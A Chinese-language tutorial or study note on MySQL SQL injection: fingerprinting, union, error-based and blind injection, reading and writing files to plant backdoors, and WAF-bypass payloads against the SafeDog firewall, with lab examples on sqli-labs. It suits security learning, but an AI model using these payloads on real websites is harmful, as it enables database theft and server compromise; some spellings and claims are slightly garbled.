目录
sql注入漏洞
信息搜集:
方法
1.判断是否存在注入点
2.数字or字符or搜索
3.提交方式?
4.判断注入姿势
5.玩法^_^
补充知识:
绕过过滤
其他数据库
信息搜集:
搜集数据库的操作系统(windows or linux涉及的内容不同),数据库名(不同语言),数据库用户(权限),数据库版本(不同语言,姿势),网站路径(网站源码放在何路径)。
数据库版本:version() 获取版本以及数据库系统
数据库名字:database() 当前所在数据库的名字
数据库用户:user() 当前用户
操作系统:@@version_compile_os 操作系统
信息搜集下的问题处理:
版本问题
数据库语言基本差不多,语法上有区别。
1.查询方式:mysql5.0版本以上定义了一个information_schema而5.0以下版本没有,则说明5.0版本以下查询猜、暴力查询(无据),而5.0以上通过有据查询。
2.写文件权限:在 MySQL 5.5 之前 secure_file_priv 默认是空;? ? ? 在 MySQL 5.5之后 secure_file_priv 默认是 NULL。
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
空白地方的值
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录
3.不同的数据库,使用的操作语言不同,注入的姿势也不同。?
数据库用户权限
低权限查询密码,找后台登录,高权限写后门。
1.跨库查询:具有最高权限的用户才有权限跨库查询,即好几个网站的数据库写在一起,可以通过一个的权限,去查其他的。
2.文件写入:高权限用户具有写入权限。(一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。)
网站路径
路径获取方法:网页出现错误泄露路径,通过扫描工具获取路径(如看看有没有扫描出phpinfo),知道对方是什么程序搭建而去搜索该程序的爆路径漏洞
1.通过sql语句,将文件写入相关路径。(还涉及到路径是否允许写入文件的权限。)
系统问题
1.在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。
数据库名
1.知悉数据库结构,层次。
数据库的结构?
information_schema.tables?? ??? ??? ?#information_schema下面的所有表名information_schema.columns?? ??? ?#information_schema下面所有的列名
information_schema.schemata? ? ? #information_schema下面所有的数据库名
schema_name? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查数据库中的数据库名所用到 table_name?? ??? ??? ??? ??? ??? ??? ??? ??? ?#表名 column_name?? ??? ??? ??? ??? ??? ??? ??? ??#列名 table_schema?? ??? ??? ??? ??? ??? ??? ??? ??#数据库名//选择数据库时所用到
方法
1.判断是否存在注入点
即是否被带入查询,查不到页面不会报错,但是如果不是数据库查询,则会因为找不到网页而404报错。
SELECT * FROM users WHERE id=1aaaaaaaa(随便输入) LIMIT 0,1
2.数字or字符or搜索
数字可包含引号括号,字符一定包含引号(单引号和双引号其一被另外一包含不会报错,而正确注入不能有杂乱符号,细品),括号不确定。
单引号注释--错误--双引号,单引号双引号,单引号双引号括号,单引号括号,双引号括号,双引号多括号,多引号多括号。 单引号注释--正确--单引号
搜索型:select * from user where id like '%haha%';? haha为写入的参数,注意注释括号及后面引号
3.提交方式?
GET,POST,REQUEST,HTTP头,COOKIE
http头中请求的位置无法确定,关键是要判断注入点,即什么位置的信息被查询然后回回显在网站上,并且当其被修改后网页不会报错。
4.判断注入姿势
回显or无回显
有回显(闭合--order--union)即select语句
无回显:?根据页面的环境判断查询方式
注册,添加用户:insert into news(id,url,text) values(2,'x','$t')? ? ?//在两个引号之间用or连接,并且闭合引号? ? ?例如? ???insert into news(id,url,text) values(2,'x','xiaoyu'?or 语句 or '')
删除用户? ? ? ? ? ?:delete from news where id=$id
修改密码? ? ? ? ? ?:update user set pwd='$p' where id=2 and username='admin'? //$p在前面所以要注意不要注释?
为了能使爆出信息,用盲注
报错注入:(为单独语句) updataxml、extractvalue函数?? ? ? updataxml( 1, b, 1); ?
b通常为concat(0x7e,(select version()),0x7e) ? ?//即用到了updataxml函数与cancat函数
逻辑注入: http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+ ? 看页面是否回显正确
延时注入: if(语句,1,sleep(2))
补充:逻辑注入、延时注入函数
length(database())=8? ? ? ? ? ? ? ? ?#判断数据库database()名的长度
substr($x,1,1)和mid(a,b,c)?? ? ? ? #第一个1为起始位置,第二个1为长度
left函数?? ?left(database(),1)? ? ? ?#left(a,b)从左侧截取a的前b位
ascii(a)=65和ord(a)=65? ? ? ? ? ? ? #为了用ASCILL值缩小范围
5.玩法^_^
- %3D是=(base64加密)?
- 二次注入,常出现在注册已被注册账号然后修改密码,然后改原账号密码
补充知识:
文件读写
文件读写
读:load_file()
select load_file('C:\\haha\\tianyu.php');
?写:into outfile或者into dumpfile()
select into outfile 'D:\\haha\tianyu.php';
绕过过滤
1.绕过代码层(即为代码审计层面)
①url编码
在get方式上可以通过二次编码绕过
②16进制编码
对单个 id=-1 /!u%6eion/ /!se%6cect/ 1,2,3
对整个 SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
对字符串编码在前面需要加0x
- ?注释绕过? ? ?(普通注释U/**/NION 和 mysql特有的/!union/)
- 等价函数? ? ? ? ?或者不同方法切换(例如ascii码变为直接查字母)
concat_ws()==>group_concat()
SELECT CONCAT_WS('~',username,password) FROM admin;
针对绕过,空格可以用括号或者/**/绕过,引号用16进制编码
魔术引号:宽字节绕过*、多重url编码*
?
2.绕过安全狗
- %0a与注释符联用以及内联注释????????//部分waf遇到%00截断,只能获取到前面的参数
%23a%0aunion%23a%0aselect 1,2,3 from users
%20/*!44509union*/%23x%0aselect 1,2..
1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23a%0aselect%201,2,3d
其他数据库
access,mssql,oracle
|